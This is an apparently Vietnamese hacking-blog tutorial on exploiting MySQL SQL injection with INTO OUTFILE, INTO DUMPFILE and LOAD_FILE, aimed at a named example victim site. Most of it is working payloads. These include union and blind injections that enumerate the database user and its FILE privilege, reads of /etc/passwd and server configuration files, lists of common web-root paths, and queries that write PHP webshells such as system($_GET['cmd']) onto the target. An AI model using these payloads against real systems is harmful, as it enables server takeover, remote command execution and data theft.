Kỹ thuật tấn công SQLi sử dụng lệnh into outfile của mysql

Trong bài viết này tôi sẽ đề cập đến câu lệnh “into outfile“, 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.
1. Quyền FILE (FILE privilege)
Nếu chúng ta muốn đọc hay ghi các file thì MySQL user phải được cấp quyền FILE
Thử xem xét một số lệnh sau đây:

=======================================================================

victim thuộc loại này hơi bị khó tìm nên moi người thông cảm :D, đọc tham khảo thôi nhé ^^!

victim: huynhdegroup.net/@VHB@/forum.php?id=1099 <~ link xàm nhé :D

ví dụ website này có 3 cột, version 5 (có thể khai thác)


1. Đọc file

- huynhdegroup.net/@VHB@/forum.php?id=-1099 union select 1,load_FILE(0xđường_dẫn_file_cần_đọc),3 #

trong đó "đường_dẫn_file_cần_đọc" là đường dẫn đến 1 file nào đó có trong hệ thống này (ví dụ như: /home/vhb/public_html/@VHB@/forum.php hoặc /etc/passwd) và mã hóa nó thành hex. Sau đó thì view-source, code nằm hiện ra trước mắt ta :D

2. tạo file

- huynhdegroup.net/@VHB@/forum.php?id=-1099 union select 1,'<?php system($_GET['cmd']); ?>',3+INTO+DUMPFILE+"/đường_dẫn_file_dc_lưu/vhb.php"#

trong đó '<?php system($_GET['cmd']); ?>' là nội dung file sẽ dc tạo, INTO+DUMPFILE là mã lệnh thực thi, "/đường_dẫn_file_dc_lưu/vhb.php" là đường dận file sẽ dc lưu vào 1 nơi nào đó trong hệ thống (vhb.php là tên file sẽ dc tạo, ví dụ: /home/vhb/public_html/@VHB@/vhb.php). cái code shell trên khi chạy shell thì nó sẽ như vầy "http://huynhdegroup.net/@VHB@/vhb.php?cmd=" và nó được sữ dụng như chức năng system trên 1 con shell bình thường.

Yêu cầu: server phải Safe_mod=Off, magic_quotes_gpc = OFF (heavendie góp ý).

Code:
1' union select current_user,null/*
hoặc
Code:
1' union select user(),null/*
Các câu lệnh này có thể cung cấp thông tin về MySQL user hiện tại, dạng như:
Usernam@server
Chúng ta sẽ tiếp tục khai thác thông tin về user này trong phần sau
Hoặc bạn cũng có thể đoán tên user bằng Blind SQLi nếu như không union được.
Các câu lệnh ví dụ:
Code:
1' and user() like 'root 1' and mid(user(),1,1) 1' and mid(user(),2,1)>'m 1' 
and ascii(substring(user(),1,1))>64 .....
Khi chúng ta đã biết username, ta có thể kiểm tra xem user này có quyền FILE hay không
Đầu tiên chúng ta sẽ cố gắng truy cập vào bảng mysql.user:
Code:
1' union select file_priv,null from mysql.user where user='username
Chú ý: thay username ở câu lệnh trên bằng username mà các bạn vừa tìm được
Bạn cũng có thể kiểm tra quyền FILE trong bảng trên mà không cần thêm mệnh đề where, tuy nhiên tôi
vẫn thêm nó vào vì đây là cách nhanh và dễ dàng nhất – khi chuyển sang Blind
Code:
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a  
(đừng có thêm NULL ở đây, vì đây ko phải là union select)
Cách trên có thể áp dụng cho cả Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có thể xem quyền FILE ngay trong information_schema
Code:
0′ union select grantee,is_grantable FROM information_schema.user_privileges 
privilege_type = ‘file’ and grantee like ‘%username%
Với blind:
Code:
1′ and mid((select is_grantable from information_schema.user_privileges 
where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y
Nếu bạn không thể truy cập vào bảng mysql.user hoặc information_schema.user chúng ta cũng cứ
bước tiếp thao sau đây. Tuy nhiên nếu bạn đoán rằng bạn không có quyền FILE thì cách khai thác
sử dụng INTO OUTFILE sẽ không thực hiện được
2. Vấn đề về thư mục web
Khi chúng ta biết chắc rằng mysql user hiện tại có quyền FILE, chúng ta cần phải tìm cho được đường dẫn
chính xác đến thư mục/file mà ta muốn ghi file.
Trong hầu hết các trường hợp MySQL server được chạy cùng server với server web hosting vì thế ta có thể từ
mục ghi file mặc định chuyển ra thư mục web bằng các dấu ../
Với Mysql ver 4, ta có thể tìm đường dẫn datadir bằng hiển thị lỗi của câu lệnh:
Code:
0′ UNION SELECT load_file(’a'),null/*
Trong Mysql 5 thì có thể union select:
Code:
0′ UNION SELECT @@datadir,null/*
Thư mục mặc định để ghi file sẽ là datadir\databasename
Bạn có thể biết được tên databasename bằng câu lệnh
Code:
0′ UNION SELECT database(),null/*
Nếu may mắn, chúng ta có thể thấy các warning của các lệnh như mysql_result(),mysql_free_result(),
mysql_fetch_row() hoặc các lệnh tương tự.
Trong các warning này sẽ hiển thị đường dẫn đến thư mục web và chúng ta dễ dàng xác định được
thư mục để ghi file lên. Các warning này có dạng như
Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result 
resource in /home/shop/shopping2/list1.html on line 80
để hiện thị warning này có thể thử câu lệnh 0′ AND 1=’0
Cách làm trên có hiệu quả đối với hầu hết mọi website, tuy nhiên nếu thông báo lỗi của mysql bị tắtthì
bạn có thể cố gắng đoán thư mục chứa web bằng cách sử dụng lệnh LOAD_FILE() để load và đọc các file cấu hình.
1 số đường dẫn mặc định đến file cấu hình:
Code:
/etc/init.d/apache 
/etc/init.d/apache2 
/etc/httpd/httpd.conf 
/etc/apache/apache.conf 
/etc/apache/httpd.conf 
/etc/apache2/apache2.conf 
/etc/apache2/httpd.conf 
/usr/local/apache2/conf/httpd.conf 
/usr/local/apache/conf/httpd.conf 
/opt/apache/conf/httpd.conf 
/home/apache/httpd.conf 
/home/apache/conf/httpd.conf 
/etc/apache2/sites-available/default 
/etc/apache2/vhosts.d/default_vhost.include
Cũng cần chú ý xem hệ điều hành của webserver là *nix hay win để mà đoán cho tốt :) 
Thông thường thư mục gốc chứa web thường đặt ở:
Code:
/var/www/html/ 
/var/www/web1/html/ 
/var/www/sitename/htdocs/ 
/var/www/localhost/htdocs 
/var/www/vhosts/sitename/httpdocs/
bạn có thể google để tìm thêm
Thông thường bạn có thể ghi files lên tất cả các thư mục mà Mysql server có quyền ghi lên, miễn là bạn có quyền FILE.
Tuy nhiên Admin có thể giới hạn các thư mục có thể ghi được từ public.
Xem thêm tại http://dev.mysql.com/doc/refman/5.1/...s-options.html
3. Tạo ra các file hữu dụng
Khi bạn đã chắc chắn có quyền FILE và xác định được thư mục để ghi file, bạn có thể tiến hành ghi bằng câu lệnh SQL
Code:
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
Hoặc là ghi bất cứ dữ liệu gì, khi ta không biết tên bảng và cột:
Code:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt
Nếu muốn bỏ các ký tự splitting trong dữ liệu, ta có thể sử dụng INTO DUMPFILE thay vì INTO OUTFILE
Cũng có thể kết hợp giữa load_file() để đọc các file trên server
Code:
0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…
Trong một số trường hợp ta cần sử dụng hex và unhex:
Code:
0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
Hoặc bạn có thể ghi bất cứ thứ j vào file, như là webshell chẳng hạn
Code:
0′ AND 1=0 UNION SELECT ‘code’,null INTO 
OUTFILE ‘../../web/server/dir/file.php
Đây là 1 số ví dụ:
Code:
// PHP SHELL 
<? system($_GET['c']); ?>
hoặc passthru nếu muốn
Code:
// webserver info 
<? phpinfo(); ?>
 
// SQL QUERY 
<? ... $result = mysql_query($_GET['query']); … ?>
Cuối cùng, 1 số chú ý về kiểu khai thác này:
-Không thể overwrite file với câu lệnh này
-INTO OUTFILE phải là mệnh đề cuối cùng trong câu truy vấn
-Tôi không biết cách nào để mã hóa FILENAME trong INTO OUTFILE(FILENAME) chặn ‘ thì
không khai thác được, biết cách khai thác vui lòng PM
-có thể mã hóa code bạn muốn ghi vào file bằng lệnh char()

Chú Ý:

Coppy phải ghi rõ nguồn Hacking Security
 

Copyright © 123 H4ck' Blog. Cung cấp bởi Blogger